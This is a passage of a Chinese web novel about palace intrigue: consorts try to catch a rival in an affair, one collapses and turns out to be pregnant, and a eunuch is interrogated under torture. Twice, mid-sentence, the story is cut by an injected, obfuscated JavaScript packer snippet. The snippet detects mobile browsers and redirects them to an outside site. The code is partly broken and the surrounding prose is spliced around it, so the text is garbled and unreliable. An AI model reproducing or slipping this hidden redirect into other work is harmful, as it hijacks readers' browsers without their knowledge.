“主子,此事若闹大,贺才人确实是逃不掉,但娘娘协理六宫出了这样的丑闻,难道她面上就能有光吗?奴婢劝您还是三思,别丢了西瓜捡芝麻!” 青黛的警告言辞远已超出了一个宫婢该有的态度,俨然有替贤妃发号施令的意味在里面。叫江绮玉听了极不舒服,方才还有的一点忌惮,顷刻化无,卯足了劲儿挣脱青黛,“放开!” “谁也别想拦我!” 江绮玉拽着孔映欢箭步而走,身后几个奴才撇嘴相视,也不得不跟上。他们没有贤妃撑腰,江绮玉的话就是天。只有青黛,怒其不争看几人走远,而后小跑往相反方向离开了。 那头“流萤”和“野男人”已经执手绕进了下一个甬道,而且越走越快,眼见再往前就是银汉宫了。 “姐姐,贺之遥不会真那么大胆,敢把人往自己宫中领吧?” “那就正好抓她个现行!看她还有什么话好说!” 江绮玉推了孔映欢一把,“你先拐过去,我再看一眼他们是不是进了银汉宫。” 孔映欢此刻肠子都要悔青了,今日就应该直接装病的。 她是真没想到江绮玉居然如此鲁莽,可事已至此,她也只能豁出去了。甚至想好若到时候皇上连带着自己一并迁怒,大不了就等过了这阵风头之后再另寻靠山吧。 呵呵,或许还真是得等两年啊。 孔映欢感慨自己的卦太准,一不小心溜了神,没听见拐角另一头也窣窣传来了脚步声。竟在迈过拐角的那一刻,和某个人砰地撞了个满怀! 35. 捉奸现场 “啊!” 这一下撞得特别结实,孔映欢的脚步快,对面人更快。没有一点预兆,她直接就被撞仰了过去。 后面的江绮玉正巧也赶上来,本还想扶她一把,没想到冲击之大,竟把江绮玉自己也带倒了! 再后面的几个奴才也跟灶台上打翻的瓶瓶罐罐一样,接连摔了下去,一个压一个叠在一起,想起身都费劲。 “一个个笨死算了!哎呀,谁压我身上呢!赶紧扶我起来啊!” 江绮玉吃痛大喊着,一点顾不得他们还在“捉奸”现场,应当低声轻语些才是。 孔映欢连滚带爬起身,伸手去够江绮玉,可两眼摸黑,摸索半天拽起来的却只是一个太监。 那太监也是吓坏了,还不等她嫌弃推开,竟先自己掰开她的手,起身就要跑。 跑? 不对! “站住!别跑!” 孔映欢立即胡乱拍着周围的奴才喊起来,“快去把那个人抓住,是他撞了我!就是他!” 跌坐在最外面的小太监第一个爬起来去追。眼见前面的人越跑越快,小太监想也不想就拿出最勇猛的劲儿,直接飞扑了上去。他知道,要是抓不住这个人,江绮玉的气就得全撒到他们身上。 二人扭在一起,后面的几人也很快赶上,终于将那人制服,扭送到江绮玉面前。 “说!你是谁!是不是来跟贺之遥偷偷见面的!” 江绮玉虽然觉得此人的身形装扮都跟方才看到的不像,但还是下意识认为就是他,并且希望就是他。 可那人的嘴偏偏咬得很死,凭她怎么逼问都什么也不说,气得江绮玉狠狠一脚踢到他膝盖上,硬是将执拗较劲儿的那人给踢倒了。 这一倒不要紧,几声清脆的叮当声掉地而出,有什么东西蹦蹦跶跶在地面上弹跳着。江绮玉眼疾手快,一把就捡了起来。 他们没打灯笼来,只能迎着朦胧月光照量,半晌,“好啊,这回可真真是人赃并获了啊!” 江绮玉眼中闪着兴奋,回身又给那人来上一脚,“说!这步摇是不是你眼巴巴拿来送她的!” “你若说实话,我兴许发发慈悲替你跟皇上求个全尸,若不然,你一家老小都别想活!哦对了,你没有小,哈哈哈哈!也不知道贺之遥怎能……” “江美人?孔宝林?” 突然,一个幽灵般的男声划破夜空,江绮玉说一半的话被硬生生吓得噎了回去。 明明她才是来捉奸的,可这一声被人叫住名字却让她感觉像是在做贼,下意识把手中步摇攥得更紧。 随着灯笼火光越照越亮,小金子和春桃的身影也终于渐渐显露于众人眼前。 春桃看见被人按到在地的小盛子,心里咯噔一下。强咽了咽口水敛下眉眼不再看他。 火光发红,映得江绮玉煞白的脸终是恢复了些血色,她看清来人不过是流萤身边的奴才,旋即抖了抖精神,“贺之遥呢?叫她赶紧滚出来!看看这可是她相好的!” 现在她手握“证据”,只等人出来就能一举拿下。江绮玉觉得这事儿十拿九稳了,质问的声音也愈发大了起来。 “别以为打发你们两个出来就能搪塞过去,她刚才跟人勾勾搭搭,我可全都看见了!” “贺之遥,你藐视天子,胆敢跟人幽会私通!我今日必要替皇上铲除你这贱人!” 江绮玉对着空旷大门说得发狠,每喊一个字,她都能感受到喉咙连到胸腔的那根经络在针扎一样扩张,连带着方才被压到的肚子都开始疼了起来。 可她依旧不肯松懈丁点咄咄逼人的气势,好像从前在皇上和流萤面前失去的底气和颜面,此刻全都找了回来。 小金子提着灯笼一步步靠近,最终停在火光正好能将每个人都包围起来的地方,正声道,“江美人请慎言,我们主子洁身自好,即便您位高一等,也不能这般辱没主子清白。” “少废话。你是个什么东西,也配跟我对话!赶紧叫贺之遥出来!还是说她这会儿知道跟人苟合没脸了不敢现身?快活的时候又想什么了?还是跟个太监,我呸!真让人恶心!” 江绮玉此刻流露出的粗俗刻薄,跟那张艳丽绝美的面孔形成鲜明对比,连一旁的孔映欢都听得有些难堪。 再怎么说他们也是正经的主子,哪有站在甬道上就破口大骂的道理。 而且这些腌臜的言辞又岂是哪个正经人家的女子该说的?义女就是义女,真就没人拿她当大家闺秀养。 无奈出言提醒,“姐姐,不如我们直接进去看看究竟。她清白与否,这么多双眼睛都能作证。” 孔映欢知道如今事情闹到这个地步,已是没法平静收场。她置身不了事外,就只能一条道走到黑,把流萤与人私通的罪名彻底定下来,才好抵过他们胡闹一场。 江绮玉闻言也是反应了过来,光在门口吵吵有什么用,还是得把流萤揪出来才是正道。 于是直冲冲就要往里闯,小金子见状立马伸出灯笼杆阻拦,“夜已深,江美人万没有擅闯他宫的道理,还请您适可而止。” “你叫我适可而止?!” 江绮玉怒发冲冠,眼底汹涌的火光直比灯笼还亮。 青黛瞧不起她也就算了,怎么连这么一个没名没姓的下作阉人也敢跟自己大呼小叫,真是反了天了。 “这银汉宫我进定了,再敢拦一下就剁了你的狗腿!” 身后几个奴才见江绮玉这架势也纷纷上前,推搡着小金子和春桃,三两下就撞开了大门。风一样搜找起流萤的身影。 但是越找越心惊,偌大银汉宫里,竟除了门口的小金子和春桃以外,一个人影都没有。 孔映欢攥着袖口最是心虚,难道他们真看错了?那岂不是闯大祸了!遂厉声问道,“说!你们主子呢?她到底在哪儿!” “主子在安仪殿,连晚膳都是在那儿陪着皇上一起用的。想来此刻应已在那儿歇下了吧。” 小金子的声音如同暗夜中最缥缈的那颗星,很轻很轻,但却真真实实存在。而且仅在下一刻就结结实实坠落到江绮玉心里,瞬间砸出一个大坑。 什么?! 那个贱人竟跟皇上在一起?! 江绮玉顿感周身一震,眼前天地都变得颠倒旋转,险些一个没站住跌坐下去,幸而一旁的孔映欢扶她了一把。 怎么可能呢?那方才看见的又是谁? 江绮玉想不通,咚咚心跳如擂鼓,怎么都平复不下来。浑身血液也跟着骤然变冷,流转过全身便如坠冰窟。 不,不可能。“你撒谎!” “江美人若不信,自可去安仪殿求见,皇上定能给您答复。”小金子不疾不徐,说话如流水,听得在场所有人都又恨又怕。 如果仔细看,甚至还能看见小金子微微扯动的唇角,这下可该轮到他瞧好戏了。 完了。 真认错人了。 孔映欢的心顿时咯噔一下,她已经百分百相信小金子的话了。 怪不得方才江绮玉骂得那么难听,他都一直不提流萤的所在之处来自证,原是就等着他们闯进来呢! 如此有恃无恐,难不成…… ?! 不对,如果真是这样,那说她与外男私会这一消息恐怕也…… 孔映欢不禁觉得毛骨悚然,慌乱抓着江绮玉就要离开。江绮玉却还强装着不信,势要逼流萤出来对峙。 孔映欢快要被这个蠢东西气死,与她一推一拽之间,不自觉就加重了力道。可江绮玉本就腿软肚子疼,才拉扯两下就又扑通一声被带倒了。 但这一下,她却没能再起来。整个人痛苦扭曲着,哼唧两声就疼昏了过去。 孔映欢完全没料到自己竟能把江绮玉拽倒,又看她蜷缩在地上不动也不喊了,吓得呼吸都快停滞了。 连忙惊恐去扶,却只摸到一手冰凉。黏腻的触感让她下意识缩回手放在眼前看,“血……血?!” 怎么会有血呢?究竟磕破哪儿了? “还愣着干什么!赶紧去找太医啊!” 孔映欢高声吩咐着,已然变成了身后那些吓傻奴才的新主心骨。 他们都知道,江绮玉要是死了,太后一定得让他们所有人跟着陪葬!于是一个个马不停蹄跑开,边跑边祈祷这不是他们最后一次有命奔跑。 “姐姐!江姐姐!你怎么了?你跟我说句话呀!” 孔映欢颤抖着去摇江绮玉的胳膊,她怕江绮玉真出了什么事,所有冒失胡来的后果就都得由她一人承担。 而且太后如今又将江绮玉看得那么重,她就算侥幸逃过这一劫,此后在宫中恐也再难翻身了。 该死,怎么就跟了这么一个蠢货。 孔映欢暗暗骂着,手上力道也随着怒气不断加狠。如果不是江绮玉已经昏了过去,必定要吃痛大喊、问她是不是作死。 小金子见状也是惊讶不已。本来一切都跟流萤计划得相差无遗,唯独没料到江绮玉竟如此不禁磕破。不过是摔了一跤,明明方才还有那张口就能吃人的气势,怎一下子就昏死过去了? 但仔细观察,江绮玉伤身下的出血量并不多,多数还是浸在裤裙上,可能是地上碎砖划破了腿,并不会直接一命呜呼。更像是吓晕的。 于是冷静下来,迅速进屋抱了两床被子出来。一边麻利给江绮玉盖在身上,一边向孔映欢解释道,“虽然不知道江美人伤到哪儿,但是天这么凉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339281|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖上点准没错。” 这个突如其来的岔子会不会影响接下来的计划,小金子不知道。他现在唯一能做的,就是在流萤没赶回来之前,不再给他们任何挑毛病的机会。 孔映欢冷冷瞥了一眼,算是默许。 起身让开江绮玉身旁的位置给小金子,但不见春桃来帮忙,遂环视一圈,竟发现春桃已不知何时接替上了看管小盛子的活儿。 甚至找来了麻绳,已将人死死捆到了柱子上?! 她怎么知道绝不能放走此人? 小盛子被污蔑与她的主子有染,她不应该是愤恨更多吗? 可是怎么越看春桃那看似发狠逼人、实则却是紧张万分的神情,越是莫名让孔映欢觉得心慌呢? 春桃到底在害怕什么?小盛子又怎么敢恶狠狠看向她呢?明明他才是离死不远的犯大错之人,怎么一点求饶的意思都没有,到底是谁给了他底气? 一连串的疑问像雾中谜影,层层叠叠将二人缠住,孔映欢看不清,但直觉藏在那团谜影背后的,只会一个比一个要命。 她招招手,想叫春桃过来试探问个一二,却再没这个机会。 只因流萤回来了。 而且不止流萤,她身旁还跟了皇上! 孔映欢瞬间眼睛瞪得像铜铃,脸色比地上躺着的江绮玉还惨白万分。 “孔宝林?你……你们怎么在这儿?” 流萤本是像个没事人一样,挽着闻寻胳膊慢悠悠走进,冷不防看见自家前院竟多出一个人来,吃了一大惊。定睛又看见地上还躺了一个!完全反应不过来。 小金子旋即上前两步回话。 “是江美人和孔宝林在咱们宫外抓住了一个鬼鬼祟祟的小太监,怕他图谋不轨,就进来想提醒主子的。但见主子您不在宫中,孔宝林就想先回去,江美人却是偏要等您回来,踟蹰间,也不知怎的江美人突然就摔倒了。已有人去请太医了,奴才不敢乱动,只能先取件被子给江美人御寒。” 他当着皇上的面,必不可能说江绮玉方才毁人清白的那一番话,即使知道定是污蔑,也没必要跟皇上告这种极有可能让自家主子也吃不到好处的状。 孔映欢一下子便听懂小金子的意思,也算正合她意,于是跟着借势下坡,希望能把他们来此大闹的目的遮掩过去。哪怕只是暂时的也好。 忙收敛了下仪态,走到闻寻身边补充道,“皇上,就是那个太监。很可能是个贼!” 闻寻顺着孔映欢手指的方向看,唇角悄然勾起一抹暗笑弧度,语气却还是一如既往的冰冷,“贼?” “正是。” 孔映欢觉得有戏,连忙退回到江绮玉身边,掰开她紧攥的手,取下那支步摇拿到闻寻眼前,说道: “今夜我与江姐姐花茶喝多了睡不着,便带了几个奴才出来赏月。不巧看见此人在银汉宫外徘徊,一路跟踪发现确有猫腻。就将人拿下,一搜身竟真发现了这并蒂莲步摇和一小袋金豆子。” “这并蒂莲步摇虽然残缺了一瓣,但细看做工和用料,必是贵人之物。很有可能就是他偷了贺才人的,不妨让贺才人辨一辨。” “况且这大半夜的,他又揣着如此贵重的东西,嫔妾实在不知除了是做贼,还能是什么。” 孔映欢边说边偷偷观察流萤看到小盛子和步摇时的表情,但丝毫不见一点慌乱,心彻底凉了大截。最后只能刻意强调小盛子是半夜不轨,希望流萤识趣,她应该也不想让皇上再怀疑点别的吧。 但流萤偏不如她愿。 “这步摇……嫔妾倒是有些印象,但不是嫔妾的。汪才人好像有个跟这差不多的,不过她那支上面的双头莲可都是好好的。” 流萤掂量着步摇左右看看,“还是明儿叫汪才人认认吧,她准知道。” 她说的漫不经心,随手便将步摇交到了小金子手上,而后才缓步靠近江绮玉,问太医怎么还没到。 “先抬她进屋,去把沈大人找来。”闻寻低声吩咐。 太医令沈承明是太医署里最权威的。闻寻这个点还要把年近花甲的沈大人找来,可见对江绮玉还是有些上心的。 孔映欢心里先是有了些许着落,或许看在江绮玉受伤的份上真能大事化小。但庆幸过后,又有隐隐作痛的嫉妒翻江倒海般涌了上来。 她嫉妒流萤,跟皇上待到大半夜还能叫他亲自送回宫。也嫉妒江绮玉,明明除了一张能被人利用的脸以外什么都没有,却也傻人有傻福被皇上记挂着。 她盯着侍卫抱走江绮玉后地上黑黑的一片出神,突然觉得哪里不对。 方才只是知道江绮玉摔破出血了,一晃神就没注意别的,这会儿再看竟发现那出血的位置好像是在…… 36. 意外有孕 小福子得了令即刻出走,才将到门口就见外头匆匆赶来好几个人。打头两个提着药箱奔走的,显然就是值夜班的太医了,于是忙迎上去又催促了几步。 “呦,原来是孙医监呀,我这走近了才看清。里头是江美人摔晕了,您快进去瞧瞧,皇上还叫我去请沈大人呢。” 小福子说得情急,可真当孙广全一行人全都迈进了大门后,他却把脚步放缓了下来。 只因他知道太医令沈承明上了年纪,皇上早就默许不给他安排值夜班了。每次到了他值班的时候,都是让他两个徒弟轮着顶替,其中一个便是孙广全。 如今孙广全领着别人来了,沈承明就一定是躲着睡大觉呢。 况且,皇上是最清楚沈承明不值夜的,却还叫去请,明摆着不是真心在意江绮玉的伤情。 那么他便也不必着急了。 抬头看看已经开始泛青的天色,又是熬了一个大夜,小福子伸了伸腰才继续往前走。林保益年老身子不健硕,是以每到这种熬人心血的时候都得小福子顶上。 偏他还得甘之如饴,不然就永远没有能真正伴驾左右的机会。 他一直都是这样劝慰自己,做好了一定有出头之日,毕竟自己已经比别人近水楼台了。 尤其是这两次熬大夜,小福子更觉得精神抖擞,只因皇上的心情也都比平时要好。 虽然不易觉察,但他有心留意还是能体会得到。他甚至觉得皇上有时会莫名兴奋起来,就像发现了新世界般食髓知味。 只拿今晚与流萤在安仪殿相处的时间来说,就已然比过去一年中跟任何一个嫔妃待的时间要长了。而且二人还什么都没有做,就那么安安静静地在书房里,各画各的。 皇上挥毫泼墨,玩得尽兴,时不时还停下“检查”一下流萤的课业。挑不满意的就扔了重画,明明二十页的东西,等他进去收拾的时候至少得捡起五十几页纸。 皇上能有这种耐性,是小福子伺候这么多年从未见过的。 这不禁让小福子回忆起有几次在宝华楼,皇上也是难得平心静气画过画,更有凝婕妤那样的美人默默陪伴在侧,但皇上眼底的神色却都没有这两次来得放松。 他观察到,皇上看流萤的时候,即便话里总不少嘲讽,语气却是随心自在的。 这一点,或许皇上自己都还不曾发现呢。 小福子如是想着,更加坚定了要在流萤身上赌一把的意志。他也不小了,是该混出点名堂了。 他掐着时间请到了沈承明,一同返回银汉宫时已是寅时,本想着里头应已没什么大事了,不料才进门,竟看见贤妃和关充媛等人也过来了! 而且所有人都黑着脸,气压低得可怕。 小福子意识到可能是江绮玉的伤情不好,立即佯装急赶慢赶回来的样子,急急高声传了一句,“皇上!沈大人到了!” 贤妃闻声第一个回头,极不悦地摆摆手叫沈承明快些进去。 沈承明一见眼前的架势也吓了一跳,心想这一路上也没见小福子多焦急呀,怎么到了地儿形势就这么严峻了? 忙不迭进屋,张口就要问孙广全怎么回事。意外看见贺九仪也在,且正在给江绮玉搭着脉,便敛了声等待。 他对贺九仪的医术还是十分认可的,并且一度认为贺九仪是太医署一众后辈里最值得期待的那个。 可再往前凑凑,竟发现江绮玉胳膊上已经扎了七八根银针。沈承明陡然一惊,到底伤到何处还需施针压制? 但他深知诊治时最忌肆意打断,只能锁着眉紧紧盯着。好在孙广全跟着附耳过来小声说了江绮玉的伤情,才让他悬着的心有片刻落停。 终于等到贺九仪起身,沈承明连忙亲自上手又搭了一遍,确定真的无碍了才郑重点点头,挑帘出来跟闻寻禀报。 “回皇上,江美人并未伤到何处关键,只是普通的摔倒。但江美人已怀胎月余,方才是因突遭重击才见了红,幸而发现得及时,现已施过针保住了。不过胎像薄弱实不稳固,恐怕往后的几个月都得静养在床,才会有顺利生产的可能了。” 什么?! 一语惊起四座,江绮玉竟然怀孕了! 这本该是喜事,偏偏天时地利都不对,每个人脸上都出了奇的难看。 就连最该雀跃期待这一胎的贤妃也不例外,阴沉的脸,直比闷雷乌云还黑。 唯有闻寻,睨了下眼,暗暗藏下一切尽在掌握的自得笑意,依旧用冰冷得听不出任何温度的嗓音吩咐道,“那就送她回仁康宫静养吧,别再这儿瞎耽误。” 说完,他还意味深长看了流萤一眼,但没人注意,也没人知道他在想什么。 孔映欢更是不可置信地盯着沈承明走出来的那扇门,企图穿过禁闭的格子门看到软榻上的江绮玉。盯得久了,她的眼神开始渐渐失焦,铺天盖地的心慌和恐惧,霎时席卷全身。 江绮玉居然有身孕了? 还差点小产? 更要命的,还是因为被她撞了! 两次都是! 只不过第一次天色太暗,或许没人看得清是她完完全全压在了江绮玉身上。但第二次却是众目睽睽,所有人都亲眼看见是她拽到了江绮玉! 孔映欢止不住地颤抖,即便太医说已经保住了胎儿,她还是不敢直视皇上和贤妃。 尤其是贤妃,他们有多么盼望江绮玉这一胎,孔映欢天天跟在江绮玉身边,就算再没心眼儿也看得出来。 太医说得好听,只需静养就能顺产。可到生产那日还有七八个月呢,指不定又生什么变数。他们这么说无非是想在此刻先把自己的医术摘干净,至于后面如何,就要看江绮玉自己的造化了。 而且依江绮玉的性子,等醒了知道这一切变故的由来,不把自己生吞活剥了都算他们俩白认识一场。 完了,这下真完了。 孔映欢越想心越虚,终是支撑不住跌坐在地。但她还不想放弃,卦象不是说她两年后还会晋位美人吗? 对!一定不会折在这里的。她必须得为自己争取点什么。 遂一扭身膝行到皇上跟前,“请皇上恕罪,嫔妾不是有意与江姐姐拉扯,更不敢有暗害她的心!嫔妾是真的不知道江姐姐已有孕在身,不然一定千避万避!求皇上给嫔妾一个恕罪的机会,让嫔妾贴身伺候,直到姐姐顺利生产!” 孔映欢哭得鼻涕一把眼泪一把,满脸慌乱不像假的。毕竟她险些就要成为千古罪人了,可不是得赶紧拿出个样子来。 流萤漠然看着,一个字也没听进去。 只在想,关采曼的人将江绮玉撞到还险些滑胎,这个确实是个能让关采曼必死的意外收获。好像老天都在帮她。 可流萤心里却惴惴难安起来的。 她没想过江绮玉会这么快就有了身孕,更没想过伤及无辜。 但事已至此,也只能先按原定计划进行下去。 关采曼必除。 “皇上,此事也不能全怪孔宝林。”流萤冷冷出声。 她偏头一指,“是那个不知哪来的鬼祟太监先撞上了江美人,他可比孔宝林有劲儿多了。” 霎时,所有人的目光都跟着流萤手指看向了小盛子。关采曼更是砰砰心跳马上就要跳出胸膛,因为她到现在都没有想明白,小盛子怎么就会跟江绮玉他们撞上? 方才青黛去找她,说江绮玉疑似堵到了流萤跟人幽会即刻就要抓现行,一点拦不住,求她想想办法。 关采曼当时听完都懵了,她从来不知竟还有汪芷柔偷看纸条一事。照近来汪芷柔的表现来看,她应已是完全被自己拿捏住了才对,怎么还敢对自己有所隐瞒? 但再细想想汪芷柔的懦弱性子,也确实有可能把这事儿藏在心里,毕竟她跟流萤是最先交往的,心里还有些偏袒也是人之常情。 而对自己则更多是畏惧忌惮、是迫不得已,这些关采曼都知道。 于是迅速收拾两下就跟青黛走了,并且特意交代不许惊动汪芷柔。不怕一万,就怕万一。她若真还藏了什么别的猫腻,一旦抖落出来跟着添乱,自己只会被动。 他们走得飞快,才走一半就正巧遇到准备去请太医的那几个奴才,一问才知事情已经闹得那么大了。已经到了关采曼都撑不住场的地步了,遂跟青黛一商量,又迅速折返承德宫去求见禀告了贤妃。 毕竟让汪芷柔打听流萤是否真跟人私通的人是关采曼,她作为事件源头,有推卸不掉的责任。尽早告诉贤妃,总不至于最后再来跟她兴师问罪,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贤妃冷笑一声下令,“去把内侍监和六局管事的都叫来,告诉他们,若认不出这是哪处的奴才,就各领十个板子去!” 说完,又命人将小盛子押得近些,“这是哪儿来的?” 贤妃抬手一甩,就将那支步摇甩到了小盛子的脸上。豁口的花枝正从小盛子额头划过,一道鲜血横流的口子就那么直直淌了下来。 但小盛子早已认命,根本感觉不到丁点儿疼,始终紧闭着唇,一声不吭。做好了下一刻就赴死的准备。 流萤哪儿会让他轻易如愿,好戏可才刚刚开始。 流萤缓步绕到贤妃身侧,“娘娘,这步摇可能是汪才人的,嫔妾曾见过她有一支十分相像的,不如叫她来问问。” 刚才说这话的时候,贤妃和关采曼都不在,她必须得重说一遍。一会儿的重头戏还得让汪芷柔出场来演呢,不铺垫好怎么行。 “而且暂不管这步摇究竟是谁的,嫔妾都觉得此事还另有蹊跷。” 流萤从地上捡起步摇,和那袋金豆子并排摊到手上。 “娘娘,此人是贼,大抵跑不了的。这些金豆子想必也是偷来的。可嫔妾想不通,既然他已经得到钱了,为什么还要再偷一件残缺的首饰呢?他要这首饰有什么用呢?” 流萤把控着节奏,说一两句事实,就给一点思考时间。并且刻意引导者众人往她想要的答案去。 “偷金豆子,可能是为了在宫中行事方便、上下好打点。但这拿不出的步摇绝不可能是为了送人吧。谁也不傻,岂会收这破烂东西就帮人办事?” 寂静的庭院里,除了流萤慢条斯理的问话声,就只剩风拂枯枝的沙沙声。每个人都各有所思,算计与猜疑无声地充斥了每个角落。 如果把众人心头藏着的万千思绪都汇集起来,一定犹如潭底水草,隐秘而生动,随波不停缠绕着,紧紧不敢吐露丝毫。 良久,终是最有话语权的闻寻率先开了口,他顺着流萤的引导,给出了她最想听到的答案。 “所以你的意思是,这两样东西并非都是偷的,而也有可能是‘以物换物’得来的?” 37. 春桃叛变 以物换物? 闻寻话音刚落,小盛子就像被陨石击中一般蓦地颓了下去,摩擦的衣料在诡异静谧的空气里发出瘆人回响。 显然是被说中了。 贤妃第一个反应过来。方才她一直顾着江绮玉,根本没心思细想小盛子身上的可疑之处。 如果说金豆子是换回来的,那么步摇可能就是还没换出去的。 跟谁换?如何换?换到哪里?种种疑问都表明这已经不是单纯的小偷小摸了。 贤妃治理后宫多年,十分清楚宫中处处都有见不得人的勾当,像这种偷偷摸摸往自己兜里装的奴才自然也不在少数。 因为只要是宫中的东西,无论多不起眼拿到外面都能卖个好价钱,即便是残缺坏了的也一样。所以每年到了奴才们离宫搜身时,总能截获不少东西。 可是…… 贤妃冷冷扫了一眼小盛子,乳臭未干,面瘦形削,明显还不够出宫的年纪。 却能有门道跟宫外联系上?谁给他搭的线?宫里可没由他换金豆子的地方。 很好,她倒要看看小盛子背后究竟是哪个不知天高地厚的,竟敢把手伸这么长! 贤妃脸色渐沉,直比万年不变冷峻的闻寻还阴森。 “皇上,此事已经不是独独处置一个小贼就得解决的了。这么多金豆子,岂会是他一个小太监能用得上的?背后一定另有主使!”贤妃迎上闻寻,郑重说道。 既然有人赶着要死,就别怪她不给留全尸! “臣妾想将汪才人传来,若真是她的步摇,便有可能是她差遣了人找门路换钱也说不定。即使与她无关,听听她说怎么丢的,或许也能发现些蛛丝马迹。” “臣妾协理六宫不当,责任不可推卸,明日一早自会向太后娘娘请罪。但臣妾要先彻查真相,肃清后宫,决不允许有人如此堂而皇之地行这等猖狂之事!” 贤妃眼底的怒气叫在场所有人咂舌。她平素持重端庄,淑慎其身,还从未有过这般当众大动干戈的样子。 显然是不查清楚不能罢休了。 孔映欢却开始暗自庆幸,压在心头的大石头也似乎移走了几分,终于能喘上口气。幸好贤妃还是将自己的协理权看得更重些,算她侥幸捡回一条命。 但反观关采曼可就如临大敌了。她紧扣在身前的双手指节苍白,贤妃说一句话,她就要攥一下拳,妄想掩下心头的慌乱。但是收效甚微。 那双空洞直盯地面的眼睛,以及青白的嘴唇,还是将她害怕事迹败露的忐忑,暴露地一览无遗。 流萤分帧不错看在眼里,确信贤妃对于关采曼的事儿一点不知情了,便将目光再次聚集到江绮玉身上,挤出些伤心与担忧,柔声对闻寻说道,“皇上,要不先让几位太医陪着送江美人回宫吧。” “嫔妾这里地处靠北,本就比其他宫室都冷上一些。今日一直不在宫中也没人点炭火,别说江美人如今的身子不敢再受寒,就是嫔妾坐着一会儿都觉得冷,万别叫她再在这儿冻坏了才是。” 流萤只是才人位份,冬日里可领的炭火将将巴巴,她不在宫中,自然没人舍得生炭。 方才还是见闻寻也跟来了,小金子才往三足金兽火炉里多添两块炭,不过还是远远不够温暖整个大堂。 闻寻没接话,只上下扫视她一圈后,对小福子吩咐明日多送些银碳来。 闻寻交代的声音不大,却足够叫在场的每个人都听得清楚。 得,这下宠妃身份可是坐实了。 流萤面上挤出抹笑,心里确实有够无语。怀着他孩子的女人正昏倒在床上,他却只关心自己有没有炭烧? 就怕自己活得久是吗? 流萤内心翻过无数个白眼,偏还得福身感谢他关怀。 真是的,今日在安仪殿里,他们不是已经达成合作了吗?怎么还只想着给她招惹麻烦?于是又紧着问一遍能不能先送江绮玉回宫。 江绮玉在这一局中的作用已经彻彻底底发挥出来了,而且比原定计划还出色,完全没继续耗在这儿的必要。 而且,流萤也不想江绮玉的胎儿真出什么岔子。 至少,不能是现在。 至少,不能在她的寝宫。 贤妃也如是想,眼下没有什么比稳住这一胎更为重要的了。不仅是太后在盯着,她自己也十分需要一个皇子。遂抢先一步说道,“皇上,臣妾想将江美人接到承德宫亲自照看。” “江美人性子顽劣,素爱惹祸,偏贵妃温顺敦厚,恐管治不了。当初叫她搬进仁康宫原还想着跟贵妃敛敛性子,没想到油盐不进。现在又怀了身孕,万一再生什么事端伤及到皇嗣,臣妾身在其位不仅会愧对于您,更难向太后交代。” 贤妃此刻的语气跟宫外普通的当家主母没什么不同,多是商量、是请求。 她跟太后不一样,流萤能感觉到贤妃对闻寻还是有一些真感情在的。毕竟也做了五年夫妻。 闻寻转头看贤妃,却迟迟没有答应。 晦暗眼底似乎有危险的暗流涌动,看得贤妃莫名有些心虚。不由得眨了眨眼,稍稍低下头躲避。 这几年,闻寻对自己愈发冷淡,除了每月象征性抽两天来坐坐,再无其他关怀。而且也真的只是象征性看看她,什么都不会跟她做。 明明初入府的时候,二人也曾有过一段温馨时光,但自从太后驱使宗女用药误伤了闻寻后,他就连带着对自己都疏远了很多。谁叫她和太后自承一脉呢。 贤妃也怀疑过闻寻是不是发现了什么才会有如此变化,但她没法问,也没法说。只能强迫自己看开,接受旧情不在。 “不必,她还是回仁康宫。贵妃不是个生事的,朕也会多去看她。” 可惜了,若是闻寻能早点在江绮玉耳边说这句话,兴许都用不到请太医来,她保准一个激灵直接高兴醒了。 流萤暗啧。别人不知,她却是最知,闻寻是不可能对江绮玉生什么同情心的。 即使嘴上说着好似关心的话,眼底却是一片冷漠。那完全事不关己的样子,看得流萤不禁撇了下嘴,甚至揣测闻寻该不会是对江绮玉这一胎另有什么想法吧? 她可以理解闻寻不想遂了太后心愿让江绮玉生下皇嗣,但虎毒还不食子呢,他真能那么狠心? 而且他即位也已三年了,宫中多一个孩子总归不是坏事,也不能就让三皇子一人干干净净等着继承大统吧?那样的话,三皇子能不能活到继位都难说。 流萤心里犯着嘀咕,扫了眼贤妃猪肝一样的脸色,或许她正想着等明日再找太后亲自与闻寻说要接江绮玉去慈安宫也不一定。 太后才是最在意江绮玉、最在意她这一胎的。 好不容易按照闻寻喜欢样子找来的人,又这么争气,才一个多月就有了身孕。江绮玉若再努努力,别那么早失去价值,说不定与贤妃也能论上个竞争关系。 毕竟中宫只有一个,嫡子也只有一个,其余则都是陪衬。谁更有用,自然能爬地更高。 于是坐了满堂的一众人就那么各怀鬼胎地僵持着,等汪芷柔到来,也等小盛子招供。包括沈承明他们,闻寻也没让走,就让在偏殿想办法尽快把江绮玉弄醒再送回仁康宫去。 天际即将泛白,小福子终于领着汪芷柔和内侍监以及六局管事走了进来。 琼英作为贤妃身边最得脸的,自然是要代替主子发话,“你们仔细看看,这人是哪一处当值的?” 几个管事闻言相视一怔。他们都算是在自己的一亩三分地有头有脸的人物,平日见了贤妃也能得几分笑容,可像今日这种冷脸的骇人阵仗还真是头一回遇上。 而且来的一路上小福子也板着个脸,一点风儿都不透。他们只好惶恐着丝毫不敢怠慢,挨个上前辨认。 可是待走近了却都惊出一身冷汗。小盛子除了一张脸没有破相外,身上衣裳早已被抽出十好几道口子,处处向外翻卷着,根本遮挡不住里头的皮开肉绽。 尤其是两只手上还连着夹棍,十个指头或青或紫,均已扭曲变形。小盛子瘫在地上止不住抽搐,仿佛轻轻冷风吹一下,都能引得他钻心疼痛。 